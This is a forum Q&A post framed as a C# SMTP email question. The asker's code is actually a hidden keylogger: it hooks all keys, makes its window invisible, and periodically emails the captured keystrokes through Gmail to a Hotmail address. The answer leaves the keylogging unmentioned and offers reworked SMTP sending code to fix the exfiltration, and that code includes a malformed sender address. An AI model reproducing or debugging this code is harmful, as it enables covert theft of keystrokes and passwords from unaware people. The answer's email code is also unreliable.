smtp email through C#

Question

I cannot send an email to myself through smtp and trough Gmail and Hotmail. Do you have any ideas how it can be solved or where the error is?

  public partial class Form1 : Form
{
    public Form1()
    {
        InitializeComponent();
    }

    string log;
    string klokkeslæt;
    globalKeyboardHook gkh = new globalKeyboardHook();

    private void HookAll() //funktionen Hookall oprettes
    {
        foreach (object key in Enum.GetValues(typeof(Keys)))
        {
            gkh.HookedKeys.Add((Keys)key);
        }
    }

    private void Form1_Load(object sender, EventArgs e)
    {
        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
        HookAll();
        this.Opacity = 0;
    } 

    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        log = log + " " + e.KeyCode;
    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "gymjoy@hotmail.com");
        SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
        mail.From = new MailAddress("eksamensprojekt2014@gmail.com");
        mail.To.Add("gymjoy@hotmail.com");
        klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
        mail.Subject = klokkeslæt;
        mail.Body = log;
       // SmtpServer.Port = 587;
        SmtpServer.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014@gmail.com", "*********");
        SmtpServer.EnableSsl = true;
        SmtpServer.Send(mail);
        mail.Priority = MailPriority.Normal;
        SmtpServer.useDefaultCredentials = true; 
    }

}

Answer 1

Try with below code it working fine.

        MailMessage message = new MailMessage();//Not set from and to address here.
        SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
        string msg = string.Empty;
        try
        {
            MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
            message.From = fromAddress;
            message.To.Add("gymjoy@hotmail.com");
            message.Subject = "Test";
            message.IsBodyHtml = true;
            message.Body = "Test";
            smtpClient.Host = "smtp.gmail.com";   // We use gmail as our smtp client
            smtpClient.Port = 587;
            smtpClient.EnableSsl = true;
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");

            smtpClient.Send(message);
            msg = "Successful<BR>";
        }
        catch (Exception ex)
        {
            msg = ex.Message;
        }